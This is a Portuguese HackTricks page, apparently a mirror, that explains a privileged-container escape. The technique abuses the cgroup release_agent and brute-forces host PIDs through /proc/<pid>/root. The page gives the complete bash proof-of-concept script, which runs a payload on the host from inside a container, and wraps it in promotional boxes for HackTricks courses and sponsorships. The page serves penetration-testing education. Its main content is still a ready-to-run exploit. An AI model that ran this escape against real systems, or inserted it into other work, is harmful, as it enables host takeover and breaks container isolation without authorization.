mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
108 lines
6.3 KiB
Markdown
108 lines
6.3 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
Para mais detalhes **verifique a postagem do blog em [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Este é apenas um resumo:
|
|
|
|
A técnica descreve um método para **executar código do host de dentro de um contêiner**, superando desafios impostos por configurações de driver de armazenamento que obscurecem o caminho do sistema de arquivos do contêiner no host, como Kata Containers ou configurações específicas do `devicemapper`.
|
|
|
|
Passos-chave:
|
|
|
|
1. **Localizando IDs de Processo (PIDs):** Usando o link simbólico `/proc/<pid>/root` no pseudo-sistema de arquivos do Linux, qualquer arquivo dentro do contêiner pode ser acessado em relação ao sistema de arquivos do host. Isso contorna a necessidade de conhecer o caminho do sistema de arquivos do contêiner no host.
|
|
2. **PID Bashing:** Uma abordagem de força bruta é empregada para pesquisar através dos PIDs no host. Isso é feito verificando sequencialmente a presença de um arquivo específico em `/proc/<pid>/root/<file>`. Quando o arquivo é encontrado, indica que o PID correspondente pertence a um processo em execução dentro do contêiner alvo.
|
|
3. **Desencadeando a Execução:** O caminho PID adivinhado é escrito no arquivo `cgroups release_agent`. Essa ação desencadeia a execução do `release_agent`. O sucesso deste passo é confirmado verificando a criação de um arquivo de saída.
|
|
|
|
### Processo de Exploração
|
|
|
|
O processo de exploração envolve um conjunto mais detalhado de ações, com o objetivo de executar um payload no host adivinhando o PID correto de um processo em execução dentro do contêiner. Veja como isso se desenrola:
|
|
|
|
1. **Inicializar Ambiente:** Um script de payload (`payload.sh`) é preparado no host, e um diretório único é criado para manipulação do cgroup.
|
|
2. **Preparar Payload:** O script de payload, que contém os comandos a serem executados no host, é escrito e torna-se executável.
|
|
3. **Configurar Cgroup:** O cgroup é montado e configurado. A flag `notify_on_release` é definida para garantir que o payload seja executado quando o cgroup for liberado.
|
|
4. **Força Bruta PID:** Um loop itera através de PIDs potenciais, escrevendo cada PID adivinhado no arquivo `release_agent`. Isso efetivamente define o script de payload como o `release_agent`.
|
|
5. **Desencadear e Verificar Execução:** Para cada PID, o `cgroup.procs` é escrito, desencadeando a execução do `release_agent` se o PID estiver correto. O loop continua até que a saída do script de payload seja encontrada, indicando uma execução bem-sucedida.
|
|
|
|
|
|
PoC da postagem do blog:
|
|
```bash
|
|
#!/bin/sh
|
|
|
|
OUTPUT_DIR="/"
|
|
MAX_PID=65535
|
|
CGROUP_NAME="xyx"
|
|
CGROUP_MOUNT="/tmp/cgrp"
|
|
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
|
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
|
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
|
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
|
|
|
# Run a process for which we can search for (not needed in reality, but nice to have)
|
|
sleep 10000 &
|
|
|
|
# Prepare the payload script to execute on the host
|
|
cat > ${PAYLOAD_PATH} << __EOF__
|
|
#!/bin/sh
|
|
|
|
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
|
|
|
# Commands to run on the host<
|
|
ps -eaf > \${OUTPATH} 2>&1
|
|
__EOF__
|
|
|
|
# Make the payload script executable
|
|
chmod a+x ${PAYLOAD_PATH}
|
|
|
|
# Set up the cgroup mount using the memory resource cgroup controller
|
|
mkdir ${CGROUP_MOUNT}
|
|
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
|
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
|
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
|
|
|
# Brute force the host pid until the output path is created, or we run out of guesses
|
|
TPID=1
|
|
while [ ! -f ${OUTPUT_PATH} ]
|
|
do
|
|
if [ $((${TPID} % 100)) -eq 0 ]
|
|
then
|
|
echo "Checking pid ${TPID}"
|
|
if [ ${TPID} -gt ${MAX_PID} ]
|
|
then
|
|
echo "Exiting at ${MAX_PID} :-("
|
|
exit 1
|
|
fi
|
|
fi
|
|
# Set the release_agent path to the guessed pid
|
|
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
|
# Trigger execution of the release_agent
|
|
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
|
TPID=$((${TPID} + 1))
|
|
done
|
|
|
|
# Wait for and cat the output
|
|
sleep 1
|
|
echo "Done! Output:"
|
|
cat ${OUTPUT_PATH}
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras maneiras de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|